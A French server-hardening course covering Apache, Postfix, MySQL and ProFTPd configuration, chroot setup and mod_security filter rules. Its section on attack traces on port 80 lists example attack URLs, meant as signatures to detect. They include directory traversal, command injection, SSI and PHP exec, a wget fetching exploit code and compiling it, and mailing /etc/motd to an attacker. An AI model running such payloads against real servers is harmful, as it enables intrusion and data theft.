Sécurité des services classiques



Documents pareils
Configuration du serveur Web Apache. Master 1 STIC-Informatique 1

Linux et le Shell. Francois BAYART. Atelier du samedi 20 Novembre

Apache 2.4 Installation et configuration

Sécurisation de services. Sécurisation de services. Apache. ProFTPd. PostFix. MySQL. Reims 2008

Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS

SERVEUR HTTP Administration d apache

Serveur Linux : FTP. Mise en place d un service FTP sous Linux. Bouron Dimitri 20/04/2014

REPARTITION DE CHARGE LINUX

Procédure d'installation

Hébergement de site web Damien Nouvel

Déploiement d OCS 1.02 RC2 sous Debian Etch 64

L3 informatique TP n o 2 : Les applications réseau

CDS Invenio Installation et configuration de base

Installation du serveur WEB Apache ( MySQL, PHP) sous Debian 7.

Installation UpdatEngine serveur (CentOs apache2 / MySQL)

Installation GLPI-OCSNG-SSL Linux Debian Sarge

2011 Hakim Benameurlaine 1

Les serveurs WEBUne introduction

TP Service HTTP Serveur Apache Linux Debian

Serveur Subversion Debian GNU/Linux

Dans l'épisode précédent

Serveur Web Apache - SSL - PHP Debian GNU/Linux

Présentation. Protocole FTP. Initiation. Proftpd

Module 7 : Configuration du serveur WEB Apache

TP n 2 : Installation et administration du serveur ProFTP. Partie 1 : Fonctionnement du protocole FTP (pas plus de 15min)

Installation d'un serveur FTP géré par une base de données MySQL

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

GUIDE D INSTALLATION. Portaneo Enterprise Portal version 4.0

Bon ben voilà c est fait!

il chiffrer les flux d'authentification et les flux de données il n'y a pas de soucis d'ouverture de ports avec des modes actif/passif à gérer

Installation d un hébergement Web à domicile

Fonctionnement et mise en place d un reverse proxy sécurisé avec Apache. Dimitri ségard 8 mai 2011

Installation du DNS (Bind9)

Installation et configuration d Apache sous Linux RedHat 7.1. Pascal AUBRY Ambroise DIASCORN IFSIC Université de Rennes 1

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

table des matières Administration système

Hébergement de sites Web

TP HTTP. Université Pierre Mendès France U.F.R. Sciences de l Homme et de la Société Master IC²A

BTS SIO Dossier BTS. PURCHLA Romain

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons Jérémie Jourdin

Projet Administration Réseaux

SERVEUR WEB LINUX LAMP. Raymond RAZAFIMAMONJY Administration LINUX / UNIX Chapitre 15

WEBMESTRE : CONCEPTION DE SITES ET ADMINISTRATION DE SERVEURS WEB

M2-ESECURE Rezo TP3: LDAP - Mail

Projet de mise en œuvre d un serveur ftp sur serveur dédié

Hébergement WeboCube. Un système performant et sécurisé. Hébergement géré par une équipe de techniciens

CYBERGATE -TP-APACHE_2.DOC

Linux. Sécuriser un réseau. 3 e édition. l Admin. Cahiers. Bernard Boutherin Benoit Delaunay. Collection dirigée par Nat Makarévitch

Maîtriser Apache. Benjamin Drieu. version

BTS SIO SISR3 TP 1-I Le service Web [1] Le service Web [1]

APACHE 2.4. Installation et configuration. Nicolas MARTINEZ

Administration Linux - FTP

Le protocole FTP (File Transfert Protocol,

Introduction...3. Objectif...3. Manipulations...3. Gestion des utilisateurs et des groupes...4. Introduction...4. Les fichiers de base...

NOTE: Pour une meilleure sécurisation, nous vous recommandons de faire l installation des outils web à l intérieur d un serveur virtuel.

TD4 - Supervision et métrologie des réseaux. 1 Supervision des applications et services réseaux et des ressources locales

07/03/2014 SECURISATION DMZ

Différentes installations sur un serveur Windows 2000 ou 2003.

Vulnérabilités et sécurisation des applications Web

UE5A Administration Réseaux LP SIRI

Installation de Zabbix

Procédures informatiques administrateurs Création d un serveur FTP sous Linux

Installation d'un serveur sftp avec connexion par login et clé rsa.

Imprimantes et partage réseau sous Samba avec authentification Active Directory

CASE-LINUX MAIL - ROUNDCUBE

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

Dans le cadre de SECURIDAY Et sous le thème de Computer Forensics Investigation SECURINETS. Analyse des fichiers LOG. Tarek LABIDI (RT3)

SÉCURITÉ DU SI. Mini PKI. Denoun Jérémy De Daniloff Cyril Bettan Michael SUJET (3): Version : 1.0

Sauvegarde automatique des données de GEPI

LINUX - Sécurité. Déroulé de l'action. - 3 jours - Contenu de formation

Internet Information Services (versions 7 et 7.5) Installation, configuration et maintenance du serveur Web de Microsoft

Réaliser un inventaire Documentation utilisateur

Installation d un serveur HTTP (Hypertext Transfer Protocol) sous Débian 6

Préparation d un serveur Apache pour Zend Framework

PPe jaune. Domingues Almeida Nicolas Collin Leo Ferdioui Lamia Sannier Vincent [PPE PROJET FTP]

Mise en place d un Webmail

Administration réseau sous Linux

PARAMETRER SAMBA 2.2

Proxy et reverse proxy. Serveurs mandataires et relais inverses

Réseaux. Moyens de sécurisation. Plan. Evolutions topologiques des réseaux locaux

Sécuriser les applications web de l entreprise

Tutoriel compte-rendu Mission 1

Configuration avancée de Postfix

Présentation de la solution Open Source «Vulture» Version 2.0

WEBMESTRE : CONCEPTION DE SITES ET ADMINISTRATION DE SERVEURS WEB

L'AAA, késako? Bruno Bonfils, fr.org>, Novembre Sous ce terme d'apparence barbare est regroupé l'ensemble des concepts suivants :

LAMP : une nouvelle infrastructure LAMP. Une architecture modulaire. Installation

Le serveur Web : Apache

sshgate Patrick Guiran Chef de projet support

Migration de sendmail vers postfix dans le laboratoire Paul Painlevé à Lille. Mars

DenyAll Detect. Documentation technique 27/07/2015

Chapitre 1 Windows Server

Aubert Coralie, Ruzand Brice GTR 2002 Bonvarlet Manuel, Desroches Alexandre, Magnin Cyril DRT Notice technique 1

But de cette présentation. Contrôleur de domaine avec Samba (rédigé pour Ubuntu Server) Introduction. Samba: principes

SECURIDAY 2012 Pro Edition

Joomla! Création et administration d'un site web - Version numérique

APPLICATIONS WEB ET SECURITE

CASE-LINUX MAIL. Introduction. CHARLES ARNAUD Linux MAIL

FTP & SMTP. Deux applications fondamentales pour le réseau Internet.

Transcription:

Sécurité des services classiques Apache, Postfix, Proftp, Mysql Ivan LOSYEV Jérémy JACQUE

Introduction L'OS doit être sécurisé au maximum contre les attaques locales et distantes Les derniers patchs pour le noyau doivent être installés Tous les services réseaux non utilisés doivent être désactivés Le nombre des fichiers SUID/GUID doit être minimal Les bannières doivent être désactivées

Apache Sécurisation Apache 2.0 Sécurisation à l aide de «chroot» Sécurisation à l aide de mod_security Les traces d attaques sur le port 80

Sécurisation Apache 2.0 Définition les fonctionnalités attendues d un serveur Définition de la stratégie de défense Préparation avant installation Choix des modules Apache Configuration Apache Chrooting du serveur

Les fonctionnalités attendues Le web serveur sera accessible de l'internet Serveur travaillera que avec les pages statiques HTML Serveur supportera les hôtes virtuelles à base de noms Les web pages ne seront accessibles que pour les IP ou Users sélectionnés (Basic identification) Serveur enregistre toutes les requêtes Web ( inclus l information sur le Web Browser) Rq: Ce modèle ne supporte pas les technologies t.q CGI, PHP, JSP etc. C'est un modèle de base qui peut servir de point de départ pour la sécurisation d'apache

Stratégie L accès distant doit être protégé par un pare-feu. Le pare-feu doit bloquer toutes les connections entrantes sauf les connections sur le port 80/TCP Il faut activer et/ou installer seulement les modules qui sont nécessaires pour les fonctionnalités attendus de Apache

Stratégie Les pages Web diagnostiques et le service automatique d'indexation des répertoires doivent être désactivés Le serveur devrait révéler le minimum d'informations sur luimême (sécurité par obscurité) Le serveur Apache doit fonctionner sous un UID/GID unique, qui n est pas employé par un autre processus du système Les processus d'apache doivent avoir un accès limité aux systèmes de fichiers (chrooting) Aucun programme shell ne peut être présent dans l'environnement Apache chrooted (/bin/sh, /bin/csh etc.).

Préparations avant installation Mettre toutes les mise à jour pour le système d exploitation Prépare un GID/UID unique pour l exécution d'apache Exemple: pw groupadd apache pw useradd apache -c "Apache Server" -d /dev/null g apache s /sbin/nologin Télécharger les codes sources de la toute dernière version d Apache

Choix des modules Apache core : le noyau d'apache. http_core : le noyau HTTP, requis dans chaque installation d'apache preforc : le noyau HTTP, requis dans chaque installation d'apache mod_access: fournit le contrôle d'accès basé sur le hostname de client, l'ip adresse, ou d'autres caractéristiques de la requête du client. Ce module est nécessaire pour employer les directives «order», «allow» et «deny». mod_auth : utilisé pour l authentification des utilisateurs ( HTTP Basic Authentification ) mod_dir : utilisé pour la recherche et l'utilisation des dossiers qui contiennent les fichier «index» (index.html, default.html) mod_log_config : utilisé pour enregistrer les requêtes envoyées au serveur mod_mime : utilisé pour mettre en place le jeu de caractères, content-encoding, content-language et les types MIME des documents

Configuration Apache (Exemple) Les différences par rapport à configuration par défaut: Nombre de module est diminué jusqu à minimum Apache donne le minimum d information à propos de luimême Les processus d Apache (sauf proc. «root» ) sont exécuter avec les privilèges d un unique utilisateur et d une unique groupe Apache permet l accès vers les répertoires, sous -répertoires et fichiers qui ont été défini dans le fichier de configuration (directive Directory, Allow) Apache enregistre plus d information à propos de requêtes HTTP Diminution d efficacité DoS attaques

Les directives de base Listen 0.0.0.0:80 User apache // Unique utilisateur Group apache // Unique groupe ServerAdmin security@admin.ru UseCanonicalName Off ServerSignature Off // Erreur 404 et répertoires HostnameLookups Off ServerTokens Prod // Les entêtes des réponses HTTP ServerRoot "/usr/local/apache2" DocumentRoot "/www" PidFile /usr/local/apache2/logs/httpd.pid ScoreBoardFile /usr/local/apache2/logs/httpd.scoreboard <IfModule mod_dir.c> DirectoryIndex index.html </IfModule>

HTTP et performance Timeout 45 // DoS attaques LimitRequestBody 1048576 // DoS attaques KeepAlive On MaxKeepAliveRequests 100 KeepAliveTimeout 15 <IfModule prefork.c> MinSpareServers 5 // Dépend des performances et de l'os MaxSpareServers 10 // Dépend des performances et de l'os StartServers 5 MaxClients 150 // DoS attaques MaxRequestsPerChild 0 // Dépend des performances </IfModule>

Les accès <Directory /> Options None AllowOverride None Order deny,allow Deny from all </Directory> <Directory "/www/www.exemple.univ"> Order allow,deny Allow from all </Directory> <Directory "/www/www.exemple2.univ"> Order allow,deny Allow from all </Directory>

Les Logs LogLevel warn LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %b" common LogFormat "%{Referer}i -> %U" referer LogFormat "%{User-agent}i" agent ErrorLog /usr/local/apache2/logs/error_log CustomLog /usr/local/apache2/logs/access_log combined

Les hôtes virtuelles NameVirtualHost * <VirtualHost *> DocumentRoot "/www/vhosts/www.exemple.univ «ServerName www.exemple.univ ErrorLog logs/www.ebank.lab/error_log CustomLog logs/www.exemple.univ/access_log combined </VirtualHost> <VirtualHost *> DocumentRoot "/www/vhosts/www.exemple2.univ «ServerName www.exemple2.univ ErrorLog logs/www.exemple2.univ/error_log CustomLog logs/www.exemple2.univ/access_log combined </VirtualHost>

MIME <IfModule mod_mime.c> TypesConfig /usr/local/apache2/conf/mime.types </IfModule> DefaultType text/plain <IfModule mod_mime.c> AddEncoding x-compress.z AddEncoding x-gzip.gz.tgz AddType application/x-compress.z AddType application/x-gzip.gz.tgz AddType application/x-tar.tgz </IfModule>

Chrooting sans mod_security But : limiter l accès du processus Apache au système de fichiers 1. Création de l arborescence pour notre serveur Apache Exemple: mkdir -p /chroot/httpd/dev mkdir -p /chroot/httpd/www mkdir -p /chroot/httpd/usr/lib mkdir -p /chroot/httpd/usr/libexec mkdir -p /chroot/httpd/usr/local/apache2/logs/www.exemple.univ E.T.C. Rq : Le propriétaire de tous ces répertoires doit être «root». Les autres utilisateurs ne peuvent faire aucun changement dans cette arborescence: chown -R root:sys /chroot/httpd chown R 0755 /chroot/http

Chrooting sans mod_security 2. Création du «fichier device» dev/null Exemple: mknod /chroot/httpd/dev/null c 2 2 chown root:sys /chroot/httpd/dev/null chmod 666 /chroot/httpd/dev/null 3. Creation du «fichier device» /chroot/httpd/dev/log Exemple: On ajoute: syslogd_flags="-l /chroot/httpd/dev/log" Dans le fichier /etc/rc.conf

Chrooting sans mod_security 4. Copie de tous les «démons», bibliothèques, fichiers de configurations nécessaires dans la nouvelle arborescence Exemple: cp /usr/local/apache2/bin/httpd /chroot/httpd/usr/local/apache2/bin/ cp /usr/local/apache2/lib/libaprutil-0.so.9 /chroot/httpd/usr/local/apache2/lib/ cp /etc/group /chroot/httpd/etc/ cp /etc/master.passwd /chroot/httpd/etc/passwords E.T.C. 5. Préparation de la base des logins pour le système des fichiers chroot. On laisse qu une seule ligne qui contiens «Apache» dans les fichiers: /chroot/httpd/etc/passwords /chroot/httpd/etc/group

Chrooting sans mod_security 6. Copie du contenue des sites dans l environnement «chroot» Exemple: cp -R /www/* /chroot/httpd/www/

Sécurisation des applications Web à l aide de mod_security Types d'attaques: Injection dans le buffeur de taille variée Injection des meta-symboles Injection SQL SOAP ouverture du code erroné

Sécurisation des applications Web à l aide de mod_security Utilisation du «reverse-proxy» avec mode_security: Les avantages: Un seul point d accès Pare-feu au niveau HTTP Augmentation des performances Isolation du réseau La topologie est cachée Les inconvéniants: Complication du réseau Un seul point de penne

Sécurisation des applications Web à l aide de mod_security Mod_security = IDS sur le niveau HTTP Analyse des requêtes Transformation des requêtes pour l analyse Vérification des encryptages URL et UNICODE Enregistrement des requêtes Les règles entrantes Les règles sortantes

Les règles du mod-security Détection des attaques classiques (Exemple) # Command execution attacks SecFilter /etc/password SecFilter /bin/ls # Directory traversal attacks SecFilter "\.\./" # XSS attacks SecFilter "<(. \n)+>" SecFilter "<[[:space:]]*script" # SQL injection attacks SecFilter "delete[[:space:]]+from" SecFilter "insert[[:space:]]+into" SecFilter "select.+from" # MS SQL specific SQL injection attacks SecFilter xp_enumdsn SecFilter xp_filelist

Les règles du mod-security 2. La défense des scripts qui contiennent les failles SecFilterSelective ARG_b2inc "!^$" 3. La défense contre les attaques XSS à travers les cookie PHP SecFilterSelective ARG_PHPSESSID "!^[0-9a-z]*$«SecFilterSelective COOKIE_PHPSESSID "!^[0-9a-z]*$" 4. L arrêt de l'utilisation du FormMail pour le spam <Location /cgi-bin/formmail> SecFilterSelective "ARG_recipient" "!@modsecurity\.org$" </Location> 5. Le filtrage d entré par IP SecFilterSelective ARG_username admin chain SecFilterSelective REMOTE_ADDR "!^ADMIN_IP_ADDRESS_HERE$"

Les règles du mod-security 2. La prévention des fuites d information SecFilterSelective OUTPUT "Fatal error:" 6. La détection des intrusions SecFilterSelective OUTPUT "Volume Serial Number" SecFilterSelective OUTPUT "Command completed" SecFilterSelective OUTPUT "Bad command or filename" SecFilterSelective OUTPUT "file(s) copied" SecFilterSelective OUTPUT "Index of /cgi-bin/ " SecFilterSelective OUTPUT ".*uuid\=\("

Les traces d attaques sur le port 80 Que faut-il mettre dans les filtres? Que faut-il chercher dans les logs?

Les traces d attaques sur le port 80 Les signatures simples Les requêtes "." ".." et "... " Utilisées pour les changements de répertoire Exemple: http://host/cgi-bin/lame.cgi?file=../../../../etc/motd La requête "%20" Espace en hexadécimal Exemple: http://host/cgi-bin/lame.cgi?page=ls%20-all La requête "%00" Byte null en hexadécimal Exemple: http://host/cgi-bin/lame.cgi?page=index.html // OK http://host/cgi-bin/lame.cgi?page=../../../../etc/motd // Not OK, Alors http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00.html // Ok

Les traces d attaques sur le port 80 La requête " " «Pipe» utilisé pour exécuter les commandes en même temps dans une seule requête Exemple: http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc http://host/cgi-bin/lame.cgi?page=cat%20access_log grep%20- i%20"lame" La requête ";" Exécution des commandes dans une seule ligne Exemple: id;uname a Attention aux fausses alertes! Car ";" est très utilisé dans les applications WEB. Les requêtes "<" et ">" Utilisé pour l écriture dans les fichiers. Utilisé dans les «cross-site script» attaques. (les tags HTML) Exemple: echo "your hax0red h0 h0" >> /etc/motd http://host/something.php=<b>hi%20mom%20i'm%20bold!</b>

Les traces d attaques sur le port 80 La requête! Utilisé dans les attaques SSI (Server Side Include ). Exécution de commande avec les droits d utilisateur du serveur WEB. Inclusion des fichiers cachés. Exemple: http://host1/something.php=<!%20-- #include%20virtual="http://host2/fake-article.html"--> http://host/something.php=<!%20#<!--#exec%20cmd="id"--> http://host/something.php=<!%20--#include%20virtual=".htpasswd"--> La requête "<? " Utilisé pour l inclusion de PHP dans une application WEB distante Exemple: http://host/something.php=<? passthru("id");?> La requête "`" Utilisé dans le Perl pour l exécution de commande Exemple: http://host/something.cgi=`id`

Les traces d attaques sur le port 80 2. Les signatures avancées "/bin/ls" Exemple: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al "cmd.exe" Windows Shell Exemple:http://host/scripts/something.asp=../../WINNT/system32/cmd.exe? dir+e:\ "/bin/id" Exemple: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id Les commandes "wget et tftp" Exemple: http://host/cgi-bin/bad.cgi?doh=../../../../path/towget/wget%20http://host2 /Phantasmp.c

Les traces d attaques sur le port 80 La commande cat Exemple: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd La commande echo Exemple: http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>> %200day.txt; La commande ps Exemple: http://host/cgi-bin/bad.cgi?doh=ps%20-aux; Les commandes "kill et killall" Exemple: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200 La commande uname Exemple: http://host/cgi-bin/bad.cgi?doh=uname%20-a; Les commandes des compilateurs "cc, gcc, perl, python, etc..." Exemple: http://host/cgi-bin/bad.cgi?doh=gcc%20phantasmp.c;./a.out%20-p%2031337;

Les traces d attaques sur le port 80 La commande mail Exemple: http://host/cgibin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd Les commandes "chown, chmod, chgrp, chsh, etc..." Exemple: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow 3. Les fichiers "/etc/passwd" "/etc/master.passwd" "/etc/shadow" "/etc/motd" "/etc/hosts" "/usr/local/apache/conf/httpd.conf" "/etc/inetd.conf" ".htpasswd,.htaccess, et.htgroup" "access_log et error_log" "[drive-letter]:\winnt\repair\sam._ ou [drive-letter]:winnt\repair\sam"

Les traces d attaques sur le port 80 5. Bufer Overload Exemple:http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA

Postfix et la sécurité Une conception sure Authentification Cryptage des données Filtrage (spam, virus)

Postfix: une conception sure Conception modulaire : Un processus réalise une tache. Execution avec des droits limités. Possibilité de «chrooter» chaque processus. Risque de «buffer-overflow» limité.

Postfix: une conception sure Internet rewrite smtpd cleanup incoming active deferred mailbox local qmgr Internet smtp

Postfix: authentification Risque d'utilisation en tant que relais ouvert. Possibilité d'utiliser un service d'authentification (SASL) Mécanismes : PLAIN, LOGIN, OTP, MD5(cram/digest), Kerberos, Anonymous,... Modèles : PAM, Unix (shadow), sasldb, Kerberos,...

Postfix: authentification Méthodes proposées par le serveur Pour permettre l'authentification, le client doit utiliser le protocole ESMTP. (EHLO)

Postfix: authentification Configurer l'authentification dans /etc/postfix/main.cf : enable_sasl_authentification = yes smtpd_sasl_auth_enable = yes smtpd_sasl_path = /etc/postfix/sasl:/usr/lib/sasl2 smtpd_sasl_application_name = smtpd smtpd_sasl_local_domain = $myhostname smtp_sasl_password_maps=hash:/etc/postfix/sasl/sasldb smtpd_recipient_restrictions = permit_mynetworks,permit_sasl_authenticated,reject_un auth_destination

Postfix: authentification smtpd_client_restrictions = permit_sasl_authenticated smtpd_sender_restrictions = permit_sasl_authenticated, reject_sender_login_mismatch, reject_authenticated_sender_login_mismatch broken_sasl_auth_clients = yes smtpd_sasl_security_options = noanonymous, noplaintext Configurer dans /etc/postfix/sasl/smtpd.conf : pwcheck_method: saslauthd

Postfix: cryptage Le cryptage des données peut être effectué à l'aide de TLS ou SSL. Ces deux méthodes sont basées sur des certificats (avec clés publiques et privées). La librairies OpenSSL fournie les outils nécessaires à la génération de ces certificats.

Postfix: cryptage smtpd_use_tls = yes smtpd_tls_auth_only = yes smtpd_tls_security_level = encrypt smtpd_tls_key_file = /etc/postfix/ssl/smtpd_key.pem smtpd_tls_cert_file = /etc/postfix/ssl/smtpd_cert.pem smtpd_tls_cafile = /etc/postfix/ssl/ca_smtpd.pem Avec la méthode TLS, le mode de cryptage est décidé pendant la négociation entre le client et le serveur sur le port standard (25)

Postfix: cryptage Lors de l'utilisation de la méthode SSL, les communications se font sur un port particulier (465). Il faut activer ce mode de connexion dans le fichier /etc/postfix/master.cf : #========================================== # service type privat unpriv chroot wakeup maxproc # (yes) (yes) (yes) (never) (100) #========================================== smtps inet n - y - - smtpd

Postfix: filtrage Il existe deux principaux types de filtrage: par commande par démons Le filtrage par commande : smtp inet n y - - smtpd -o content_filter=spamassassin # spamassassin unix - n n - - pipe user=nobody argv=/usr/local/bin/spamc -e /usr/sbin/sendmail.postfix -oi -f $sender $recipient

Postfix: filtrage Le filtrage par démon : smtp inet n y - - smtpd -o content_filter=127.0.0.1:10025 127.0.0.1:10026 inet n - y - - smtpd -o content_filter= -o smtpd_restriction_classes= -o smtpd_client_restrictions= -o smtpd_helo_restrictions= -o smtpd_sender_restrictions= -o smtpd_recipient_restrictions=permit_mynetworks,reject -o mynetworks=127.0.0.0/8 Le démon de filtrage doit écouter sur le port 10025 et renvoie les messages traités à postfix sur le port 10026

Postfix: filtrage Dans les deux méthodes, il est possible d'utiliser plusieurs filtres (antispam, antivirus), mais il est préférable dans ce cas d'utiliser le filtrage par démons. Les filtres peuvent ainsi s'enchaîner, dans le filtrage par commande après chaque exécution un appel à sendmail est effectué

Sécurisation MySQL

MySQL Introduction Installation Sécurisation à l aide de «chroot» Les astuces de configuration

Introduction Définition des fonctionnalités attendues d un serveur MySQL Définition de la stratégie de défense Préparation avant installation

Les fonctionnalités attendue La base de données MySQL sera utilisée avec les applications PHP installées sur le même serveur On utilisera que les moyens standards pour l administration: mysqladmin, mysql, mysqldump etc. On utilisera SSH protocole pour l administration à distance

Stratégie La base de donnés MySQL doit être exécutée dans l environnement «chroot» Il faut autoriser que l accès en local à MySQL Tous les logins principaux doivent être protégés par des mots de passe complexes On utilisera un login d'administrateur différent de celui par défaut L accès anonyme à la base sera désactivé (nobody) Il faut supprimer toutes les bases et tables types Le serveur MySQL doit fonctionner sous un UID/GID unique, qui n est pas employé par un autre processus du système

Préparations avant installation Mettre toutes les mise à jour pour le système d exploitation Préparer un GID/UID unique pour l exécution de MySQL Exemple: pw groupadd mysql pw useradd mysql -c "MySQL Server" -d /dev/null -g mysql s /sbin/nologin Télécharger les codes sources de la toute dernière version du serveur MySQL Compilation avec --with-mysqld-ldflags=-all-static pour «Chrooting»

Chrooting But : limiter l accès du processus MySQL au système de fichiers 1. Creation de l'arborescence pour MySQL Exemple: mkdir -p /chroot/mysql/dev mkdir -p /chroot/mysql/etc mkdir -p /chroot/mysql/tmp mkdir -p /chroot/mysql/var/tmp mkdir -p /chroot/mysql/usr/local/mysql/libexec mkdir -p /chroot/mysql/usr/local/mysql/share/mysql/english Rq : Le propriétaire de tous ces répertoires doit être root. Les autres utilisateurs ne peuvent faire aucun changement dans cette arborescence: chown -R root:sys /chroot/mysql chmod -R 755 /chroot/mysql chmod 1777 /chroot/mysql/tmp

Chrooting 2. Création du «fichier device» dev/null Exemple: mknod /chroot/mysql/dev/null c 2 2 chown root:sys /chroot/mysql/dev/null chmod 666 /chroot/mysql/dev/null 3. Copie de tous les fichiers nécessaires dans la nouvelle arborescence Exemple: cp /usr/local/mysql/libexec/mysqld /chroot/mysql/usr/local/mysql/libexec/ cp /usr/local/mysql/share/mysql/english/errmsg.sys /chroot/mysql/usr/local/mysql/share/mysql/english/ cp /etc/hosts /chroot/mysql/etc/ cp /etc/host.conf /chroot/mysql/etc/ cp /etc/resolv.conf /chroot/mysql/etc/ cp /etc/group /chroot/mysql/etc/ cp /etc/master.passwd /chroot/mysql/etc/passwords cp /etc/my.cnf /chroot/mysql/etc/

Chrooting 4. Préparation de la base des logins pour le système de fichiers chroot On ne laisse qu une seule ligne qui contiens «mysql» dans les fichiers: /chroot/mysql/etc/passwords /chroot/mysql/etc/group On ajoute les logins (Exemple) cd /chroot/mysql/etc pwd_mkdb -d /chroot/mysql/etc passwords rm -rf /chroot/mysql/etc/master.passwd 5. Localisation Si on utilise les autres langages que l'anglais le «charset» doit être recopié dans l environnement «chroot» /usr/local/mysql/share/mysql/charsets

Configuration MySQL On configure deux fichiers: a) /etc/my.cfn ( utilisé par les utilitaires mysqladmin, mysql, mysqldump) b) /chroot/mysql/etc/my.cfn (utilisé par le serveur MySQL) 1. Désactivation d accès à distance On désactive le port 3306/tcp en ajoutent dans le fichier (b) la ligne: skip-networking (section [mysqld] ) Pour l accès à distance SSH: backuphost$ ssh mysqlserver /usr/local/mysql/bin/mysqldump -A > backup

Configuration MySQL 2. Amélioration de la sécurité locale On désactive l utilisation des commandes LOAD, DATA, LOCAL, INFILE. Cela empêchera la lecture non autorisée à partir des dossiers locaux. ( Très utile contre les «SQL injection» dans PHP ) set-variable=local-infile=0 (fichier (b), section [mysqld] ) 3. Changement du mot de passe de l administrateur MySQL (par défaut vide) chrootuid /chroot/mysql mysql /usr/local/mysql/libexec/mysqld & /usr/local/mysql/bin/mysql -u root mysql> SET PASSWORD FOR root@localhost=password('new_password'); 4. Suppression des valeurs par défaut «user/db» On doit supprimer la base «test» et tous les logins sauf «root» mysql> drop database test; mysql> use mysql; mysql> delete from db; mysql> delete from user where not (host="localhost" and user="root"); mysql> flush privileges;

Configuration MySQL 5. Changement du login par défaut «root» mysql> update user set user="mydbadmin" where user="root"; mysql> flush privileges; 6. Suppression de l historique. On doit supprimer le contenu du fichier d historique des commandes (~/.mysql_history ) 7. Lien entre MySQL et PHP ln /chroot/mysql/tmp/mysql.sock /chroot/httpd/tmp/

Configuration MySQL 8. Dernière réflexion Maintenant on peut créer toutes les base et les logins, qui seront utilisés par les différentes applications PHP. Tous les logins doivent avoir accès seulement aux base de données, qui sont utilisées par les applications PHP. Les logins ne doivent pas avoir les privilèges administrateur t.q FILE, GRANT, ALTER, SHOW DATABASE, RELOAD, SHUTDOWN, PROCESS, SUPER etc, Les logins des utilisateurs ne doivent pas avoir accès à la base de donnés MySQL

Sécuriser Proftp La structure du fichier de configuration Les principales directives Modules intéressants pour la sécurité Faut-il continuer à utiliser proftp?

Proftp : la structure du fichier Structure du fichier de configuration: <Global> <Directory /path1> <Limit «commande ftp»> </Limit> </Directory> </Global> <Anonymous /path2>... </Anonymous> <VirtualHost hote1.domaine.com >... </VirtualHost>

Proftp : la structure du fichier Configuration sur le modèle d'apache : <Directory /tmp> <Limit ALL> Order Allow,Deny Allow from 192.168.0.10 Deny from all </Limit> </Directory> La directive «Limit» permet de définir les autorisations précises pour chaque commande FTP (READ, WRITE, CDUP, LOGIN,... )

Désactiver la connexion pour root: RootLogin Off Proftp : les directives globales Définir l'utilisateur système qui exécute le serveur: User ftp Group ftp Désactiver ou minimiser la bannière: ServerIdent off ServerIdent on "Server ready" Possibilité de chrooter facilement les comptes : DefaultRoot ~

Proftp : les directives globales MaxLoginAttempts : Limite les tentatives d'authentification pour une connexion MaxClients : connectés Limite le nombre de clients MaxClientsPerClass : Limite les connections par classe MaxClientsPerHost : Limite les connections par machine cliente MaxClientsPerUser : utilisateurs Limite les connections par

Proftp : les directives Choix des utilisateurs autorisés: <Limit LOGIN> AllowUser bob AllowUser bill DenyAll </Limit> Groupes de commandes associés à «Limit» : ALL DIRS (CDUP, CWD, LIST, PWD,...) READ (RETR, SITE, SIZE ) WRITE (APPE, DELE, MKD, RMD, RNTO, STOR,...) LOGIN

<Limit LOGIN> AllowClass MySubnet DenyAll </Limit> Proftp : les directives Possibilité de définir des classes: <Class MySubnet> From 192.168.0.0/16 From *.domaine2.com </Class> <Class Other> From!192.168.0.0/16 </Class>

Proftp : les directives Utilisation de fichiers.ftpaccess AllowOverride on bob Possibilité de créer un hôte virtuel pour les connexions anonymes: <Anonymous /tmp/anon> <Limit RETR> DenyAll </Limit> <Limit RETR> AllowAll </Limit> </Anonymous>

Proftp : les directives CommandBufferSize128 Limite la taille des commandes envoyées au serveur DirFakeUser on DirFakeUser On bill Le propriétaire affiché est 'ftp' Le propriétaire affiché est 'bill' DirFakeGroup On Le groupe propriétaire affiché est 'ftp' DirFakeMode 0640 Le mode affiché est 'rw-r-----'

Proftp : les modules AuthOrder «module» Défini l'ordre d'utilisation des modules d'authentification. AuthOrder mod_auth_unix.c mod_auth_ldap.c AuthPAM on Permet d'utiliser l'authentification PAM (possibilité d'utiliser des stratégies d'authentification complexes)

Proftp : les modules «mod_radius» Permet l 'authentification auprès d'un serveur RADIUS «mod_wrap» Permet l'utilisation des mécanismes de TCPwrapper par le serveur «mod_ldap» Permet l'authentification auprès d'un serveur LDAP

Proftp : les modules «mod_sql» Permet l'authentification à partir d'une base de données SQLAuthenticate on SQLAuthType OpenSSL SQLConnectInfo users_base@test.com admin pwd SQLUserInfo table nom pass uid gid home shell SQLGroupInfo table nom gid menbres

Proftp : les modules «mod_tls» Permet le cryptage des données TLSEngine on TLSProtocol SSLv23 TLSRequired on #Certificats du serveur TLSRSACertificateFile /etc/ftpd/server.cert.pem TLSRSACertificateKeyFile /etc/ftpd/server.key.pem # Certificats de l'autorité TLSCACertificateFile /etc/ftpd/root.cert.pem

